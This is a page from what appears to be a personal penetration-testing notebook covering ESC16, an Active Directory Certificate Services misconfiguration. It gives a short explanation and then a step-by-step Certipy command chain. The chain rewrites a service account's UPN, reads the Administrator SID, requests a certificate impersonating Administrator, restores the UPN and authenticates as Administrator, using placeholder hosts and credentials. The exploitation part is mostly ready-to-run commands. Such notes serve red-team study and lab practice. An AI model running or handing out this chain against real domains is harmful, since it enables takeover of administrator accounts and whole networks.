Bibliothèque
DiscordHackTheBoxTryHackMeGitHub
  • Welcome wanderer
    • Bibliothèque
    • Hacking Philosophy
    • Useful Links
  • PENTESTING
    • Methodology
    • Protocols
      • FTP
      • SMB
      • NFS
      • SSH
      • RDP
      • SMTP
      • IMAP / POP3
      • RSYNC
      • SNMP
      • IPMI
      • R-Services
      • WinRM
      • WMI
      • LDAP
    • Databases
      • MySQL
      • MSSQL
      • Oracle TNS
      • PostgreSQL
    • File Transfers
      • Windows
      • Linux
      • Code
      • Misc
    • Password Attacks
      • John The Ripper
      • Hashcat
    • Docker
  • TOOLS
    • Nmap
    • Metasploit
    • BloodHound
    • Other
  • Linux
    • Theory
    • Commands and Utilities
      • Useful Commands
    • Bash Scripting
    • Post-Exploitation
      • Cred Hunting
      • Pivoting
  • WINDOWS
    • Theory
      • Security
    • Commands and Utilities
    • PowerShell
    • Post-Exploitation
      • Tools
      • Enumeration
        • System
        • Network
        • Users
        • Groups
        • Processes / Services
        • Permissions
        • Defence
        • Programs
        • Files
      • Access
      • Pivoting
      • Cred Hunting
    • Privilege Escalation
      • Privileges
      • Built-In Groups
        • Backup Operators
        • Server Operators
        • Print Operators
        • DnsAdmins
        • Event Log Readers
      • Privilege Abuse
        • Potatoes
        • SeDebugPrivilege
        • SeTakeOwnershipPrivilege
        • SeManageVolumePrivilege
      • MISC
        • UAC Bypass
        • User-Interaction Attacks
        • Weak Permissions
  • ACTIVE DIRECTORY
    • Theory
      • Terminology
    • Reconnaissance
      • Responder
      • Password Policies
      • DNS
      • Enumeration
        • Users
        • Groups
          • GPO's
        • Shares
        • Domain
        • Trusts
        • ACL
        • Tombstone
    • Movement
      • Credentials
        • Dumping
          • DCSync
          • DPAPI Secrets
        • Making a Target List
        • Spraying
        • Powershell Remoting
      • Kerberos
        • Kerbrute
        • Kerberoasting
          • Semi-Manual Way
          • Targeted Kerberoasting
        • ASREProasting
        • Forging
          • Golden Ticket
        • Shadow Credentials
        • Overpass The Hash
        • Pass The Ticket
        • RBCD
        • noPAC
      • MITM / Coerced Auths
        • LLMNR, NBT-NS Poisoning
        • PetitPotam
      • DACL Abuse
        • AddMember
        • ForceChangePassword
        • WriteOwner
      • Trust Abuse
        • ExtraSIDs
      • ADCS
        • ESC1
        • ESC15
        • ESC16
        • Golden Certificate
      • Printers
        • PrintNightmare
    • Tools
  • Networking
    • Theory
      • Types / Topologies
      • OSI & TCP/IP Models
      • TCP / UDP
      • MAC Addresses
      • IP / Subnetting
      • Proxies
      • ARP
    • Pivoting
      • Port-Forwarding
    • Commands and Utilities
    • Techniques
  • WEB
    • Web Recon
      • Fuzzing
    • DNS
  • CLOUD
    • Google GKE/GCP
      • Theory
Powered by GitBook
On this page
  • ABOUT
  • EXPLOITATION
  • RESOURCES
  1. ACTIVE DIRECTORY
  2. Movement
  3. ADCS

ESC16

ABOUT

ESC16 is a misconfiguration in Active Directory Certificate Services where the CA is globally set—via the DisableExtensionList registry key or due to missing patches—to omit the szOID_NTDS_CA_SECURITY_EXT SID extension from all issued certificates, which breaks strong certificate-to-user mapping and allows attackers, under certain conditions (like DCs set to compatibility mode or combined with ESC6), to spoof UPNs or inject SIDs in SAN fields to impersonate privileged accounts using forged certificates.

ESC6: Lets you inject your own UPN and SID into the SAN (Subject Alternative Name) field of a certificate request.

ESC16: The CA is misconfigured to not include the SID extension (szOID_NTDS_CA_SECURITY_EXT) in certificates.

EXPLOITATION

If you would look into Certipy's docs, there is Scenario A and Scenario B, this is a little bit of both. Updating UPN part is from Scenario A, and requesting certificate with adding our UPN and SID is from Scenario B

Updating UPN

certipy account -u 'some_svc@militech.local' -hashes wubbalubbadubdub -dc-ip '13.13.13.13' -upn 'Administrator' -user 'some_svc' update

Exctracting Admin's SID

certipy account -u 'some_svc@militech.local' -hashes wubbalubbadubdub -dc-ip '13.13.13.13' -upn 'Administrator' -user 'some_svc' read

Requesting valid Admin's cert

certipy req -u 'some_svc@militech.local' -hashes wubbalubbadubdub -dc-ip '13.13.13.13' -target 'dc01.militech.local' -ca 'militech-DC01-CA' -template 'User' -upn 'administrator@militech.local' -sid 'S-1-5-21-...-500'

Updating back UPN

certipy account -u 'some_svc@militech.local' -hashes wubbalubbadubdub -dc-ip '13.13.13.13' -upn 'some_svc' -user 'some_svc' update       

Authenticating as Admin

certipy auth -pfx 'administrator.pfx' -username 'Administrator' -domain militech.local -dc-ip '13.13.13.13'

RESOURCES

PreviousESC15NextGolden Certificate

Last updated 23 hours ago

06 ‐ Privilege EscalationGitHub
Logo